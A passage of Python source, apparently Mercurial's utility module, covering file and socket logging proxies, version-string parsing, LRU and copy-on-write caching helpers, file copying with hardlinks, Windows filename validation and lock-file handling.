         if size == -1 and res == b'':
             # Suppress pointless read(-1) calls that return
             # nothing. These happen _a lot_ on Python 3, and there
             # doesn't seem to be a better workaround to have matching
             # Python 2 and 3 behavior. :(
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
 
         self._writedata(res)
 
     def readline(self, res, limit=-1):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
 
         self._writedata(res)
 
     def readinto(self, res, dest):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
             )
 
         data = dest[0:res] if res is not None else b''
 
         # _writedata() uses "in" operator and is confused by memoryview because
         # characters are ints on Python 3.
         if isinstance(data, memoryview):
             data = data.tobytes()
 
         self._writedata(data)
 
     def write(self, res, data):
         if not self.writes:
             return
 
         # Python 2 returns None from some write() calls. Python 3 (reasonably)
         # returns the integer bytes written.
         if res is None and data:
             res = len(data)
 
         if self.logdataapis:
             self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
 
         self._writedata(data)
 
     def flush(self, res):
         if not self.writes:
             return
 
         self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
 
     # For observedbufferedinputpipe.
     def bufferedread(self, res, size):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
             )
 
         self._writedata(res)
 
     def bufferedreadline(self, res):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
             )
 
         self._writedata(res)
 
 
 def makeloggingfileobject(
     logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
 ):
     """Turn a file object into a logging file object."""
 
     observer = fileobjectobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return fileobjectproxy(fh, observer)
 
 
 class socketobserver(baseproxyobserver):
     """Logs socket activity."""
 
     def __init__(
         self,
         fh,
         name,
         reads=True,
         writes=True,
         states=True,
         logdata=False,
         logdataapis=True,
     ):
         super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
         self.reads = reads
         self.writes = writes
         self.states = states
 
     def makefile(self, res, mode=None, bufsize=None):
         if not self.states:
             return
 
         self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
 
     def recv(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
             )
         self._writedata(res)
 
     def recvfrom(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom(%d, %d) -> %d'
                 % (self.name, size, flags, len(res[0]))
             )
 
         self._writedata(res[0])
 
     def recvfrom_into(self, res, buf, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom_into(%d, %d) -> %d'
                 % (self.name, size, flags, res[0])
             )
 
         self._writedata(buf[0 : res[0]])
 
     def recv_into(self, res, buf, size=0, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
             )
 
         self._writedata(buf[0:res])
 
     def send(self, res, data, flags=0):
         if not self.writes:
             return
 
         self.fh.write(
             b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
         )
         self._writedata(data)
 
     def sendall(self, res, data, flags=0):
         if not self.writes:
             return
 
         if self.logdataapis:
             # Returns None on success. So don't bother reporting return value.
             self.fh.write(
                 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
             )
 
         self._writedata(data)
 
     def sendto(self, res, data, flagsoraddress, address=None):
         if not self.writes:
             return
 
         if address:
             flags = flagsoraddress
         else:
             flags = 0
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> sendto(%d, %d, %r) -> %d'
                 % (self.name, len(data), flags, address, res)
             )
 
         self._writedata(data)
 
     def setblocking(self, res, flag):
         if not self.states:
             return
 
         self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
 
     def settimeout(self, res, value):
         if not self.states:
             return
 
         self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
 
     def gettimeout(self, res):
         if not self.states:
             return
 
         self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
 
     def setsockopt(self, res, level, optname, value):
         if not self.states:
             return
 
         self.fh.write(
             b'%s> setsockopt(%r, %r, %r) -> %r\n'
             % (self.name, level, optname, value, res)
         )
 
 
 def makeloggingsocket(
     logh,
     fh,
     name,
     reads=True,
     writes=True,
     states=True,
     logdata=False,
     logdataapis=True,
 ):
     """Turn a socket into a logging socket."""
 
     observer = socketobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         states=states,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return socketproxy(fh, observer)
 
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
 
         return __version__.version
     except ImportError:
         return b'unknown'
 
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
 
     >>> versiontuple(b'4.6rc0')
     (4, 6, None, 'rc0')
     >>> versiontuple(b'4.6rc0+12-425d55e54f98')
     (4, 6, None, 'rc0+12-425d55e54f98')
     >>> versiontuple(b'.1.2.3')
     (None, None, None, '.1.2.3')
     >>> versiontuple(b'12.34..5')
     (12, 34, None, '..5')
     >>> versiontuple(b'1.2.3.4.5.6')
     (1, 2, 3, '.4.5.6')
     """
     if not v:
         v = version()
     m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
     if not m:
         vparts, extra = b'', v
     elif m.group(2):
         vparts, extra = m.groups()
     else:
         vparts, extra = m.group(1), None
 
     assert vparts is not None  # help pytype
 
     vints = []
     for i in vparts.split(b'.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         listcache = []
 
         def f():
             if len(listcache) == 0:
                 listcache.append(func())
             return listcache[0]
 
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     >>> d1.insert(1, b'a.5', 0.5)
     >>> d1
     sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = pycompat.iteritems(src)
             for k, v in src:
                 self[k] = v
 
     def insert(self, position, key, value):
         for (i, (k, v)) in enumerate(list(self.items())):
             if i == position:
                 self[key] = value
             if i >= position:
                 del self[k]
                 self[k] = v
 
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 
 class transactional(object):  # pytype: disable=ignored-metaclass
     """Base class for making a transactional type into a context manager."""
 
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
 
     __slots__ = ('next', 'prev', 'key', 'value', 'cost')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
         self.cost = 0
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
         self.value = None
         self.cost = 0
 
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
 
     Items in the cache can be inserted with an optional "cost" value. This is
     simply an integer that is specified by the caller. The cache can be queried
     for the total cost of all items presently in the cache.
 
     The cache can also define a maximum cost. If a cache insertion would
     cause the total cost of the cache to go beyond the maximum cost limit,
     nodes will be evicted to make room for the new code. This can be used
     to e.g. set a max memory limit and associate an estimated bytes size
     cost to each item in the cache. By default, no maximum cost is enforced.
     """
 
     def __init__(self, max, maxcost=0):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self.capacity = max
         self.totalcost = 0
         self.maxcost = maxcost
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def insert(self, k, v, cost=0):
         """Insert a new item in the cache with optional cost value."""
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             self.totalcost -= node.cost
             node.value = v
             node.cost = cost
             self.totalcost += cost
             self._movetohead(node)
 
             if self.maxcost:
                 self._enforcecostlimit()
 
             return
 
         if self._size < self.capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             self.totalcost -= node.cost
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         node.cost = cost
         self.totalcost += cost
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
         if self.maxcost:
             self._enforcecostlimit()
 
     def __setitem__(self, k, v):
         self.insert(k, v)
 
     def __delitem__(self, k):
         self.pop(k)
 
     def pop(self, k, default=_notset):
         try:
             node = self._cache.pop(k)
         except KeyError:
             if default is _notset:
                 raise
             return default
 
         assert node is not None  # help pytype
         value = node.value
         self.totalcost -= node.cost
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
         return value
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self.__getitem__(k)
         except KeyError:
             return default
 
     def peek(self, k, default=_notset):
         """Get the specified item without moving it to the head
 
         Unlike get(), this doesn't mutate the internal state. But be aware
         that it doesn't mean peek() is thread safe.
         """
         try:
             node = self._cache[k]
             return node.value
         except KeyError:
             if default is _notset:
                 raise
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             self.totalcost -= n.cost
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self, capacity=None, maxcost=0):
         """Create a new cache as a copy of the current one.
 
         By default, the new cache has the same capacity as the existing one.
         But, the cache capacity can be changed as part of performing the
         copy.
 
         Items in the copy have an insertion/access order matching this
         instance.
         """
 
         capacity = capacity or self.capacity
         maxcost = maxcost or self.maxcost
         result = lrucachedict(capacity, maxcost=maxcost)
 
         # We copy entries by iterating in oldest-to-newest order so the copy
         # has the correct ordering.
 
         # Find the first non-empty entry.
         n = self._head.prev
         while n.key is _notset and n is not self._head:
             n = n.prev
 
         # We could potentially skip the first N items when decreasing capacity.
         # But let's keep it simple unless it is a performance problem.
         for i in range(len(self._cache)):
             result.insert(n.key, n.value, cost=n.cost)
             n = n.prev
 
         return result
 
     def popoldest(self):
         """Remove the oldest item from the cache.
 
         Returns the (key, value) describing the removed cache entry.
         """
         if not self._cache:
             return
 
         # Walk the linked list backwards starting at tail node until we hit
         # a non-empty node.
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         assert n is not None  # help pytype
 
         key, value = n.key, n.value
 
         # And remove it from the cache and mark it as empty.
         del self._cache[n.key]
         self.totalcost -= n.cost
         n.markempty()
 
         return key, value
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
     def _enforcecostlimit(self):
         # This should run after an insertion. It should only be called if total
         # cost limits are being enforced.
         # The most recently inserted node is never evicted.
         if len(self) <= 1 or self.totalcost <= self.maxcost:
             return
 
         # This is logically equivalent to calling popoldest() until we
         # free up enough cost. We don't do that since popoldest() needs
         # to walk the linked list and doing this in a loop would be
         # quadratic. So we find the first non-empty node and then
         # walk nodes until we free up enough capacity.
         #
         # If we only removed the minimum number of nodes to free enough
         # cost at insert time, chances are high that the next insert would
         # also require pruning. This would effectively constitute quadratic
         # behavior for insert-heavy workloads. To mitigate this, we set a
         # target cost that is a percentage of the max cost. This will tend
         # to free more nodes when the high water mark is reached, which
         # lowers the chances of needing to prune on the subsequent insert.
         targetcost = int(self.maxcost * 0.75)
 
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         while len(self) > 1 and self.totalcost > targetcost:
             del self._cache[n.key]
             self.totalcost -= n.cost
             n.markempty()
             n = n.prev
 
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
 
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
 
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     prop = pycompat.sysstr(prop)
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
 
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield b''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield b''.join(buf)
 
 
 def always(fn):
     return True
 
 
 def never(fn):
     return False
 
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
 
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
 
     return wrapper
 
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = b'/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split(b'/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
 
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
 
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     b'apfs',
     b'btrfs',
     b'ext2',
     b'ext3',
     b'ext4',
     b'hfs',
     b'jfs',
     b'NTFS',
     b'reiserfs',
     b'tmpfs',
     b'ufs',
     b'xfs',
     b'zfs',
 }
 
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass  # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (
                             oldstat.stat[stat.ST_MTIME] + 1
                         ) & 0x7FFFFFFF
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise error.Abort(stringutil.forcebytestr(inst))
 
 
 def copyfiles(src, dst, hardlink=None, progress=None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     def settopic():
         if progress:
             progress.topic = _(b'linking') if hardlink else _(b'copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (
                 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
             num += n
     else:
         if hardlink is None:
             hardlink = (
                 os.stat(os.path.dirname(src)).st_dev
                 == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         if progress:
             progress.increment()
 
     return hardlink, num
 
 
 _winreservednames = {
     b'con',
     b'prn',
     b'aux',
     b'nul',
     b'com1',
     b'com2',
     b'com3',
     b'com4',
     b'com5',
     b'com6',
     b'com7',
     b'com8',
     b'com9',
     b'lpt1',
     b'lpt2',
     b'lpt3',
     b'lpt4',
     b'lpt5',
     b'lpt6',
     b'lpt7',
     b'lpt8',
     b'lpt9',
 }
 _winreservedchars = b':*?"<>|'
 
 
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith(b'\\'):
         return _(b"filename ends with '\\', which is invalid on Windows")
     if b'\\/' in path:
         return _(b"directory name ends with '\\', which is invalid on Windows")
     for n in path.replace(b'\\', b'/').split(b'/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return (
                     _(
                         b"filename contains '%s', which is reserved "
                         b"on Windows"
                     )
                     % c
                 )
             if ord(c) <= 31:
                 return _(
                     b"filename contains '%s', which is invalid on Windows"
                 ) % stringutil.escapestr(c)
         base = n.split(b'.')[0]
         if base and base.lower() in _winreservednames:
             return (
                 _(b"filename contains '%s', which is reserved on Windows")
                 % base
             )
         t = n[-1:]
         if t in b'. ' and n not in b'..':
             return (
                 _(
                     b"filename ends with '%s', which is not allowed "
                     b"on Windows"
                 )
                 % t
             )
 
 
 timer = getattr(time, "perf_counter", None)
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     if not timer:
         timer = time.clock
 else:
     # mercurial.windows doesn't have platform.checkosfilename
     checkosfilename = platform.checkosfilename  # pytype: disable=module-attr
     if not timer:
         timer = time.time
 
 
 def makelock(info, pathname):
     """Create a lock file atomically if possible
 
     This may leave a stale lock file if symlink isn't supported and signal
     interrupt is enabled.
     """
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError:  # no symlink in os
         pass
 
     flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
     ld = os.open(pathname, flags)
     os.write(ld, info)
     os.close(ld)
 
 
 def readlock(pathname):
     try:
         return readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError:  # no symlink in os
         pass
     with posixfile(pathname, b'rb') as fp:
         return fp.read()
 
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 
 # File system features
 
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True  # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 
 try:
     import re2  # pytype: disable=import-error
 
     _re2 = None
 except ImportError:
     _re2 = False
 
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = b'(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = b'(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 
 re = _re()
 
 _fspathcache = {}
 
 
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
 
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace(b'\\', b'\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return b''.join(result)
 
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = pycompat.mkstemp(
             prefix=b'.%s-' % os.path.basename(testfile),
             suffix=b'1~',
             dir=os.path.dirname(testfile),
         )
         os.close(fd)
